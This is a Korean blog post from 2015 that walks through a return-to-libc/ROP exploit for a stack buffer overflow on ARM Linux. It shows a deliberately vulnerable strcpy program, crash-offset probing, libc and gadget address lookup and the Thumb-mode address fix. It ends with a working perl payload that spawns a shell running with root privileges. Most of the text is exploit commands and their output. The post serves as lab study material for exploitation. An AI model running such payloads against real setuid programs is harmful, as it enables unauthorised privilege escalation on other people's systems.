System/Linux

[ARM bof] - system함수 RTL

bbolmin 2015. 2. 25. 15:29


RTL은 공격방법은 x86과 동일하다. 다만 차이가 있다면 인자전달 방식에서 스택이 아닌 레지스터를 사용한다는 것이기 때문에 system함수를 호출하기 전에 인자값 구성을 위한 코드를 먼저 실행시켜야 한다. 그래서 RTL이라고 말하긴 했지만 사실상 x86에서 하는 ROP와 크게 다를 것은 없다고 생각된다.



문제 소스는 아래와 같다.


bbolmin@linaro-developer:~$ cat vuln.c 

#include <stdio.h>

#include <string.h>


void main(int argc, char **argv)

{

char buf[256];


strcpy(buf, argv[1]);


printf("input : %s \n", buf);

}


물론 컴파일은 SSP, ASLR 등의 보호기법은 해제하고 해준다. ^




먼저 간단히 버퍼 사이즈 확인


bbolmin@linaro-developer:~$ strace -i ./vuln `perl -e 'print "a"x260, "bbbb"'`


... 생략 ...

[2ab5d0e6] write(1, "input : aaaaaaaaaaaaaaaaaaaaaaaa"..., 274input : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb 

) = 274

[62626262] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x62626262} ---

[????????] +++ killed by SIGSEGV +++

Segmentation fault



이제 필요한 주소값들을 구해줘야 하는데 &system, &"/bin/sh", 인자구성용 가젯 들이 필요하다.

머 필요한 것들은 모두 /lib/arm-linux-gnueabihf/libc.so.6 안에 있을 것이므로 이를 사용하도록 하자~



bbolmin@linaro-developer:~$ ldd vuln

libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0x2aab3000)

/lib/ld-linux-armhf.so.3 (0x54aaa000)

bbolmin@linaro-developer:~$ 


( 참고로 위에서 얻은 libc의 base 주소가 0x2aab3000인데 실제로 실행시에는 0x2aad4000에 로드된다 ; )


(gdb) !cat /proc/`pidof vuln`/maps

00010000-00011000 r-xp 00000000 b3:00 133875     /home/bbolmin/vuln

00020000-00021000 r-xp 00000000 b3:00 133875     /home/bbolmin/vuln

00021000-00022000 rwxp 00001000 b3:00 133875     /home/bbolmin/vuln

2aaab000-2aac2000 r-xp 00000000 b3:00 82073      /lib/arm-linux-gnueabihf/ld-2.19.so

2aac2000-2aac4000 rwxp 00000000 00:00 0 

2aaca000-2aacc000 rwxp 00000000 00:00 0 

2aad2000-2aad3000 r-xp 00017000 b3:00 82073      /lib/arm-linux-gnueabihf/ld-2.19.so

2aad3000-2aad4000 rwxp 00018000 b3:00 82073      /lib/arm-linux-gnueabihf/ld-2.19.so

2aad4000-2abad000 r-xp 00000000 b3:00 82083      /lib/arm-linux-gnueabihf/libc-2.19.so

2abad000-2abbc000 ---p 000d9000 b3:00 82083      /lib/arm-linux-gnueabihf/libc-2.19.so

2abbc000-2abbe000 r-xp 000d8000 b3:00 82083      /lib/arm-linux-gnueabihf/libc-2.19.so

2abbe000-2abbf000 rwxp 000da000 b3:00 82083      /lib/arm-linux-gnueabihf/libc-2.19.so

2abbf000-2abc2000 rwxp 00000000 00:00 0 

7efdf000-7f000000 rwxp 00000000 00:00 0          [stack]

ffff0000-ffff1000 r-xp 00000000 00:00 0          [vectors]

(gdb) 




[ 필요한 주소들 ]


base : 0x2aad4000


1. system함수 offset


bbolmin@linaro-developer:~$ objdump -D /lib/arm-linux-gnueabihf/libc.so.6 | grep system

   2e060: d572       bpl.n 2e148 <__libc_system>

   2e140: d40e       bmi.n 2e160 <__libc_system+0x18>

0002e148 <__libc_system>:

   2e148: b100       cbz r0, 2e14c <__libc_system+0x4>


2. "/bin/sh"의 offset


bbolmin@linaro-developer:~$ strings -a --radix=x /lib/arm-linux-gnueabihf/libc.so.6 | grep "\/bin\/sh"

  cb950 /bin/sh


3. 인자 구성에 필요한 가젯 (ROPgadget 사용)


0x0005a49c : pop {r0, r4, pc}


위의 pop으로 r0에 "/bin/sh"를 넣고 pc를 system함수의 주소로 리턴시켜 system("/bin/sh")가 실행되도록 할 수 있다 ~~~



base + offset한 주소


&system : 0x2ab02148

&"/bin/sh" : 0x2ab9f950

&pop_gadget : 0x2ab2e49c



[*] 주의 ;;;


아래는 system함수를 디스어셈한 결과이다. 아래를 보면 시스템 함수의 주소가 0x2ab02148인 것을 볼 수 있는데 실제로 0x2ab02148로 리턴시키면 정상적으로 동작하지 않는다. (ARM의 경우 Thumb모드를 생각해줘야한다 ㅜ)


디스어셈블된 코드의 주소를 보면 2byte 단위인 것을 알 수 있다. 따라서 thumb모드로 실행시키기 위해 0x2ab02149로 리턴시켜주도록하자. (ARM v7부터는 bx가 아니더라도 마지막 1bit로 thumb모드를 구분할 수 있다고 한다.)


(gdb) p system

$1 = {<text variable, no debug info>} 0x2ab02148 <__libc_system>


(gdb) disass system

Dump of assembler code for function __libc_system:

   0x2ab02148 <+0>: cbz r0, 0x2ab0214c <__libc_system+4>

   0x2ab0214a <+2>: b.n 0x2ab01ca4 <do_system>

   0x2ab0214c <+4>: ldr r0, [pc, #16] ; (0x2ab02160 <__libc_system+24>)

   0x2ab0214e <+6>: push {r3, lr}

   0x2ab02150 <+8>: add r0, pc

   0x2ab02152 <+10>: bl 0x2ab01ca4 <do_system>

   0x2ab02156 <+14>: clz r0, r0

   0x2ab0215a <+18>: lsrs r0, r0, #5

   0x2ab0215c <+20>: pop {r3, pc}

   0x2ab0215e <+22>: nop

   0x2ab02160 <+24>: bhi.n 0x2ab0216c <__realpath+8>

   0x2ab02162 <+26>: movs r1, r1

End of assembler dump.

(gdb) 




따라서 주소는 아래와 같이 사용하고 exploit 코드 작성 ~


&system : 0x2ab02149

&"/bin/sh" : 0x2ab9f950

&pop_gadget : 0x2ab2e49c



./vuln `perl -e 'print "a"x260, "\x9c\xe4\xb2\x2a", "\x50\xf9\xb9\x2a", "dddd", "\x49\x21\xb0\x2a"'`



exploit


bbolmin@linaro-developer:~$ ./vuln `perl -e 'print "a"x260, "\x9c\xe4\xb2\x2a", "\x50\xf9\xb9\x2a", "dddd", "\x49\x21\xb0\x2a"'`

input : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaœ䰪P飤ddI!°* 

# id

uid=1001(bbolmin) gid=1002(bbolmin) euid=0(root) groups=1002(bbolmin)